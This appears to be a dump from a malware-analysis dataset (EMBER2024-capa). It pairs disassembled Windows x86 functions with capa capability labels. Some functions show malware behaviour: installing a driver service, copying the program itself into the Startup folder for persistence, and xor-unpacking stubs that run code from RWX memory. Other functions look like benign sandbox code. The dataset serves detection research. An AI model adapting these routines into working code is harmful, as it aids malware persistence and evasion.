joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40bca8
Capabilities:
Create service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 0
push str.PNP_TDI
push str.system32driversip.sys
push 0
push 1
push 1
push 0
push 0
push str.Ip4Sec
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esp, ebp
pop ebp
ret

Function at 0x40bd03
Capabilities:
Copy file
Get common file path
Persist via run registry key
Query or enumerate registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push str.C:WINDOWS_system32_vsdatant.sys
call fcn.00401f51
add esp, 4
test eax, eax
je 0x40be18
push 0xff
lea eax, [ebp - 0x100]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push str.driversip.sys
lea ecx, [ebp - 0x100]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0x560
lea edx, [ebp - 0x100]
push edx
push 0x412c14
call fcn.00404193
add esp, 0xc
lea eax, [ebp - 0x100]
push eax
call fcn.00401777
add esp, 4
call fcn.0040bca8
lea ecx, [ebp - 0x204]
push ecx
push 1
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerShell_Folders
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40be03
mov dword [ebp - 0x208], 0xff
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x100]
push eax
push 0
push 0
push str.Common_Startup
mov ecx, dword [ebp - 0x204]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40be03
push str.Uninstall.exe
lea edx, [ebp - 0x100]
push edx
call sub.MSVCRT.dll_strcat
add esp, 8
push 0xff
lea eax, [ebp - 0x200]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push 0
lea ecx, [ebp - 0x100]
push ecx
lea edx, [ebp - 0x200]
push edx
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
mov eax, dword [ebp - 0x204]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
mov esp, ebp
pop ebp
ret
Function at 0x40c250
Capabilities:
Get disk information
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
mov dword [ebp - 0x78], 0x41b1b0
mov dword [ebp - 0x74], 0x64
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x6c]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
jne 0x40c28f
push str.NoUser
lea edx, [ebp - 0x6c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
push 0
push 0
push 0
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4171a8
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationA]
test eax, eax
je 0x40c2c1
push 0xa
mov ecx, dword [ebp - 0x78]
push ecx
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.MSVCRT.dll__ltoa]
add esp, 0xc
mov eax, dword [ebp - 0x78]
push eax
lea ecx, [ebp - 0x6c]
push ecx
call sub.MSVCRT.dll_strcat
add esp, 8
lea edx, [ebp - 0x6c]
push edx
call sub.MSVCRT.dll_strlen
add esp, 4
add eax, 0x64
push eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x70], eax
lea ecx, [ebp - 0x6c]
push ecx
call sub.MSVCRT.dll_strlen
add esp, 4
push eax
lea edx, [ebp - 0x6c]
push edx
mov eax, dword [ebp - 0x70]
push eax
call fcn.0040101a
add esp, 0xc
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x70]
push ecx
push 0x417514
call sub.MSVCRT.dll_strcpy
add esp, 8
mov eax, 0x417514
mov esp, ebp
pop ebp
ret
Function at 0x10010b27
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10010b36
pop dword [ebp - 0xc]
mov eax, 0x10010b36
sub dword [ebp - 0xc], eax
push 0x40
push 0x1000
push 0x36984
push 0
mov eax, 0x26c80045
sub eax, 0x16c68f05
add eax, dword [ebp - 0xc]
call dword [eax]
mov ecx, 0x509686c2
sub ecx, 0x50964bf9
mov esi, eax
mov edi, 0x92576de6
add edi, 0x7daae61a
add edi, dword [ebp - 0xc]
mov ebx, 0xb1c291f9
sub ebx, 0xc03476e8
xor dword [ebp - 8], eax
mov edx, dword [edi]
xor dword [ebp - 8], esi
add edx, ebx
xor dword [ebp - 8], 0xdbf0ab6
mov dword [esi], edx
sub dword [ebp - 4], edx
add esi, 0x22cdbb67
sub esi, 0x22cdbb63
add edi, 0x4ef7bf10
sub edi, 0x4ef7bf0c
loop 0x10010b90
add eax, 0x8b649aa3
add eax, 0x749c4354
mov ebx, eax
add eax, 0x685585ae
sub eax, 0x685585a9
mov ecx, 0x1b903fda
sub ecx, 0xb903fda
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x7003197
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x70031a6
pop dword [ebp - 0x48]
mov eax, 0x70031a6
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x414021bf
sub dword [ebp - 0x58], 0xf2eddc74
mov dword [ebp - 0x54], 0xd3006333
add dword [ebp - 0x54], 0x5f32e912
mov dword [ebp - 0x50], 0x6d02af03
sub dword [ebp - 0x50], 0x20b66ad5
mov dword [ebp - 0x4c], 0xebf99368
add dword [ebp - 0x4c], 0x14066c98
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x5f9abb2e
sub dword [ebp - 0x58], 0xeb2851d8
mov dword [ebp - 0x54], 0xb347707c
add dword [ebp - 0x54], 0x8e24f0f9
mov dword [ebp - 0x50], 0x3288a2e4
sub dword [ebp - 0x50], 0xcf193678
mov dword [ebp - 0x4c], 0x5d89c9df
add dword [ebp - 0x4c], 0xa2763621
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x3ab2b
push 0
call eax
mov ecx, 0x4dd8cbac
sub ecx, 0x4dd88350
mov edi, eax
mov ebx, 0x155a8c74
sub ebx, 0xe588a74
add ebx, dword [ebp - 0x48]
mov esi, 0x43d63ea2
add dword [ebp - 0x20], 0x7be8bfa
mov edx, dword [ebx]
xor dword [ebp - 4], eax
xor edx, esi
xor dword [ebp - 0x14], edx
mov dword [edi], edx
add dword [ebp - 4], ebx
add edi, 0x405678ac
add edi, 0xbfa98758
add ebx, 0xac455be7
add ebx, 0x53baa41d
loop 0x70032b3
add eax, 0x11443
mov ebx, eax
add eax, 0x5f2f4243
sub eax, 0x5f2f423e
mov ecx, 0x6f99e06c
sub ecx, 0x6899e06c
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x700d29f
Capabilities:
Set current directory

Disassembly:
push 8
mov eax, 0x70120f1
call fcn.07001cf8
mov edi, ecx
mov dword [ebp - 0x14], edi
mov esi, dword [ebp + 8]
push esi
call fcn.0700d491
xor ebx, ebx
mov dword [edi], vtable.FileSharedStream.0
mov dword [edi + 0xc], ebx
mov byte [edi + 0x10], bl
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
lea eax, [edi + 0x18]
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.kernel32.dll_InitializeCriticalSection]
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0700dd8a
lea ecx, [ebp - 0x10]
call fcn.0700d23c
mov eax, dword [edi + 0x14]
mov byte [ebp - 4], 2
push dword [eax + 0x14]
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
mov eax, dword [edi + 0x14]
mov eax, dword [eax + 0xc]
test eax, eax
je 0x700d30c
mov eax, dword [eax + 0x14]
jmp 0x700d311
mov eax, 0x70138c2
push 0x7015240
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov dword [edi + 0xc], eax
pop ecx
pop ecx
test eax, eax
je 0x700d343
mov ecx, dword [edi + 4]
call fcn.070076d1
lea ecx, [ebp - 0x10]
mov dword [edi + 8], eax
call fcn.07003197
mov eax, edi
call fcn.07001ea7
ret 4
push str.file_does_not_exist
push ebx
call fcn.07003197
int3
Function at 0x2119058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.021191a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x211907e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x211906a
add dl, dl
jne 0x2119089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x21190dc
xor eax, eax
add dl, dl
jne 0x2119096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x211917d
add dl, dl
jne 0x21190a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x21190b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x21190bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x21190c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x21190d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x2119075
mov eax, 1
add dl, dl
jne 0x21190ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x21190f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x21190e1
sub eax, ebx
mov ebx, 1
jne 0x2119128
mov ecx, 1
add dl, dl
jne 0x211910e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x2119119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2119105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2119075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x211913f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x211914a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x2119136
cmp eax, 0x7d00
jae 0x211916d
cmp eax, 0x500
jb 0x2119168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2119075
cmp eax, 0x7f
ja 0x2119170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2119075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x211919e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x2119075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x406b40
Capabilities:
Encode data using xor

Disassembly:
push ebp
push ebx
push esi
push edi
call fcn.00406b49

Function at 0x410640
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x260
mov eax, dword [0x477edc]
xor eax, esp
mov dword [esp + 0x25c], eax
push edi
lea ecx, [esp + 8]
call fcn.00410540
cmp dword [esp + 8], 0
je 0x410777
cmp dword [esp + 0xc], 0
je 0x410777
push ebp
push esi
push 0
mov ebp, 2
push ebp
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, dword [sym.imp.Qt5Core.dll_void___cdecl_qErrnoWarning_int__char_const__]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4106a6
push str.CreateToolhelp32Snapshot_failed.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call edi
add esp, 8
jmp 0x410759
push 0x228
lea eax, [esp + 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x3c], 0x22c
lea eax, [esp + 0x3c]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x4106ef
push eax
push eax
push eax
lea ecx, [esp + 0x34]
call dword [sym.imp.Qt5Core.dll_public:_void___thiscall_QMessageLogger::constructor_char_const___int__char_const__]
push str.Cannot_retrieve_parent_process_handle.
push eax
call dword [sym.imp.Qt5Core.dll_public:_void___cdecl_QMessageLogger::warning_char_const__const]
add esp, 8
jmp 0x410759
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, eax
cmp dword [esp + 0x44], edi
je 0x410748
lea eax, [esp + 0x3c]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x4106f7
xor edi, edi
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
test edi, edi
je 0x41074e
push edi
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
lea eax, [esp + 0xc]
push eax
push edi
call dword [esp + 0x18]
push edi
mov esi, eax
call ebp
test esi, esi
mov ebp, 2
cmove ebp, dword [esp + 0xc]
jmp 0x410753
mov edi, dword [esp + 0x54]
jmp 0x41070e
mov ebp, 2
mov edi, dword [sym.imp.Qt5Core.dll_void___cdecl_qErrnoWarning_int__char_const__]
push ebp
call dword [esp + 0x18]
pop esi
pop ebp
test eax, eax
je 0x410794
push str.SetProcessDPIAwareness_failed.
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call edi
add esp, 8
jmp 0x410794
lea ecx, [esp + 0x20]
call fcn.004105e0
mov eax, dword [esp + 0x20]
test eax, eax
je 0x41078a
call eax
lea ecx, [esp + 0x24]
call dword [sym.imp.Qt5Core.dll_public_virtual:_void___thiscall_QLibrary::destructor_void_]
lea ecx, [esp + 0x10]
call dword [sym.imp.Qt5Core.dll_public_virtual:_void___thiscall_QLibrary::destructor_void_]
mov ecx, dword [esp + 0x260]
pop edi
xor ecx, esp
call fcn.00455cf4
add esp, 0x260
ret
Function at 0x41872e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
mov eax, dword [0x477edc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
inc edi
cmp byte [ebp + 8], 0
jne 0x418759
cmp dword [ebx + 8], 0
jne 0x418785
xor eax, eax
jmp 0x41886f
push 0
push str._TargetNtMapViewOfSection_44
push edi
push str.NtMapViewOfSection
mov esi, 0x458a70
push esi
call fcn.004180af
push edi
push str._TargetNtUnmapViewOfSection_12
push edi
push str.NtUnmapViewOfSection
push esi
mov ecx, ebx
call fcn.004180af
mov eax, dword [ebx]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0x2000
mov eax, dword [eax]
push 0x10000
push 0
push eax
mov dword [ebp - 0x58], eax
call edi
mov esi, eax
mov eax, dword [ebx + 8]
shl eax, 6
add eax, 0x50
push eax
mov dword [ebp - 0x5c], eax
call fcn.00418263
pop ecx
mov ecx, eax
mov edx, 0xfffff000
and ecx, edx
and eax, 0xfff
add esi, ecx
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x5c]
push 0x40
push 0x1000
add ecx, 0xfff
and ecx, edx
push ecx
push esi
push dword [ebp - 0x58]
call edi
mov ecx, eax
test ecx, ecx
jne 0x4187ea
int3
mov edi, dword [ebp - 0x60]
mov esi, dword [ebp - 0x5c]
add edi, ecx
and dword [ebp - 0x48], 0
push 0xa8
push 0
push sym.QtWebEngineProcess.exe_g_originals
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], 0x10
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x54]
mov ecx, ebx
push eax
push esi
push edi
call fcn.004183e8
test eax, eax
jne 0x41886f
lea eax, [ebp - 0x64]
push eax
push 0x10
lea eax, [ebp - 0x54]
push eax
push edi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x41886c
cmp dword [ebp - 0x64], 0x10
jne 0x41886c
lea eax, [ebp - 0x68]
push eax
push 0x20
push esi
push edi
push dword [ebp - 0x58]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov ecx, dword [ebx]
push 0xa8
push sym.QtWebEngineProcess.exe_g_originals
push str.g_originals
call fcn.00428c5e
jmp 0x41886f
push 0x2a
pop eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00455cf4
leave
ret 4

Function at 0x41cc2c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, ecx
push edi
push dword [ebp + 8]
push edi
push 0x8000004
push edi
push 0xffffffffffffffff
mov dword [esi], edi
mov dword [esi + 4], edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push eax
mov ecx, esi
call fcn.004116b9
cmp dword [esi], edi
je 0x41cc70
cmp dword [esi], 0xffffffff
je 0x41cc70
push dword [ebp + 8]
push edi
push edi
push 6
push dword [esi]
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esi + 4], eax
pop edi
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x41f467
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x477edc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x248], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x25c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x258], eax
mov eax, dword [ebp + 0x24]
push ebx
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 0x254], eax
mov eax, dword [ebp + 0x28]
push esi
mov esi, dword [ebp + 0xc]
mov dword [ebp - 0x250], eax
mov dword [ebp - 0x264], eax
mov eax, dword [ebp + 0x2c]
push edi
mov edi, dword [ebp + 0x30]
mov dword [ebp - 0x26c], esi
mov dword [ebp - 0x268], ebx
mov dword [ebp - 0x244], eax
call fcn.004232cb
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 8]
mov ecx, eax
call fcn.00428d73
test al, al
je 0x41f51a
push edi
push dword [ebp - 0x244]
push dword [ebp - 0x250]
push dword [ebp - 0x254]
push dword [ebp + 0x20]
push dword [ebp + 0x1c]
push dword [ebp - 0x258]
push dword [ebp - 0x25c]
push ebx
push esi
call dword [ebp - 0x248]
test eax, eax
jne 0x41f617
call fcn.004232cb
mov ecx, eax
mov edx, dword [eax]
call dword [edx + 8]
mov ecx, eax
call fcn.00428d6c
test al, al
je 0x41f623
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
push 0x10
push edi
mov ebx, eax
call fcn.00423d71
add esp, 0xc
test al, al
je 0x41f61c
call fcn.00423976
mov esi, eax
test esi, esi
je 0x41f61c
xor eax, eax
mov dword [ebp - 0x244], eax
lea eax, [ebp - 0x20c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x41f596
cmp eax, 0x104
lea ecx, [ebp - 0x20c]
push 0
pop eax
cmovae ecx, eax
mov dword [ebp - 0x244], ecx
push esi
lea ecx, [ebp - 0x260]
call fcn.004264d5
xor eax, eax
push 0x34
push eax
lea eax, [ebp - 0x240]
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x240]
mov dword [ebp - 0x24c], 0x10
push eax
lea eax, [ebp - 0x24c]
mov dword [ebp - 0x248], edi
push eax
lea eax, [ebp - 0x264]
push eax
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0x260]
push 0xd
push eax
call fcn.0041ef61
add esp, 0x2c
test eax, eax
jne 0x41f61c
push dword [ebp - 0x238]
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp - 0x238], 0
jne 0x41f623
xor eax, eax
inc eax
jmp 0x41f625
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00455cf4
leave
ret 0x2c
Function at 0x41fbb6
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x20]
push ebx
push esi
mov esi, dword [ebp + 0x34]
push edi
push esi
push dword [ebp + 0x30]
push dword [ebp + 0x2c]
push dword [ebp + 0x28]
push dword [ebp + 0x24]
push eax
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41fc22
mov bl, byte [ebp + 0xc]
mov edi, 0x1fffff
push 1
push 0
mov ecx, 0x101c01
test bl, bl
mov eax, edi
cmove eax, ecx
push eax
push esi
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
add esi, 4
test eax, eax
jne 0x41fc29
push dword [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
pop ebp
ret
push 1
push 0
mov eax, 0x100c43
test bl, bl
cmove edi, eax
push edi
push esi
push dword [ebp + 8]
push dword [esi]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x41fc22
mov al, 1
jmp 0x41fc24

Function at 0x41fcfe
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0x20]
xor ebx, ebx
push edi
push dword [ebp + 0x1c]
mov edi, dword [ebp + 8]
push dword [ebp + 0x18]
mov dword [esi], ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test eax, eax
jne 0x41fd34
pop edi
pop esi
pop ebx
pop ebp
jmp dword [sym.imp.KERNEL32.dll_GetLastError]
push 3
push ebx
push ebx
push esi
push dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
neg eax
pop edi
sbb eax, eax
and eax, 0xfffffffb
pop esi
add eax, 5
pop ebx
pop ebp
ret
Function at 0x421329
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
mov eax, dword [0x477edc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, dword [ebp + 8]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], ecx
cmp byte [eax + 0x38], 0
jne 0x421354
mov eax, 0x3f0
jmp 0x421450
push ebx
push esi
lea ecx, [ebp - 0x58]
add eax, 0x30
push ecx
push 2
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00421caf
xor ebx, ebx
add esp, 0x10
mov esi, dword [eax]
mov dword [eax], ebx
cmp dword [ebp - 0x50], ebx
je 0x421380
push dword [ebp - 0x50]
call fcn.0044b150
pop ecx
test esi, esi
jne 0x42138c
mov ebx, dword [ebp - 0x58]
jmp 0x42144c
mov eax, ebx
mov dword [ebp - 0x54], eax
cmp dword [esi], ebx
jbe 0x421445
push edi
lea edi, [esi + 4]
mov dword [ebp - 0x58], 0x44
test dword [edi + 4], 0xc0000020
jne 0x421435
mov ecx, dword [ebp - 0x60]
mov byte [ebp - 0x49], bl
test ecx, ecx
je 0x421414
mov eax, dword [ecx]
mov dword [ebp - 0x50], eax
mov eax, dword [ecx + 4]
mov ecx, dword [ebp - 0x50]
sub eax, ecx
cdq
idiv dword [ebp - 0x58]
mov dword [ebp - 0x5c], ebx
test eax, eax
je 0x421411
mov eax, ebx
mov dword [ebp - 0x50], eax
push dword [edi]
add ecx, eax
call fcn.0042709b
push eax
call dword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
jne 0x42140d
push 0x44
pop eax
add dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x60]
inc dword [ebp - 0x5c]
mov ecx, dword [eax]
mov eax, dword [eax + 4]
sub eax, ecx
cdq
idiv dword [ebp - 0x58]
cmp dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x50]
jb 0x4213d8
jmp 0x421411
mov byte [ebp - 0x49], 1
mov eax, dword [ebp - 0x54]
cmp byte [ebp - 0x49], bl
jne 0x421435
push dword [edi]
lea ecx, [ebp - 0x48]
call fcn.00426dcf
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x48]
push eax
lea ecx, [ecx + 0x18]
call fcn.00410c92
mov eax, dword [ebp - 0x54]
inc eax
add edi, 8
mov dword [ebp - 0x54], eax
cmp eax, dword [esi]
jb 0x4213a4
pop edi
push esi
call fcn.0044b150
pop ecx
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00455cf4
leave
ret 4

Function at 0x42860c
Capabilities:
Terminate process

Disassembly:
push esi
push edi
mov esi, ecx
call fcn.0042db40
test al, al
je 0x42862d
push 0x32
push dword [esi]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 1
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edi, dword [esi + 0x20]
and dword [esi + 0x20], 0
test edi, edi
je 0x428646
mov ecx, edi
call fcn.00426840
push edi
call fcn.00455d05
pop ecx
lea ecx, [esi + 0x30]
call fcn.004117ef
cmp dword [esi + 0x2c], 0
je 0x42865e
push dword [esi + 0x2c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
mov edi, dword [esi + 0x20]
test edi, edi
je 0x428673
mov ecx, edi
call fcn.00426840
push edi
call fcn.00455d05
pop ecx
lea ecx, [esi + 0x18]
call fcn.00411123
lea ecx, [esi + 0x14]
call fcn.00411123
lea ecx, [esi + 0x10]
call fcn.00411123
pop edi
mov ecx, esi
pop esi
jmp fcn.0042d940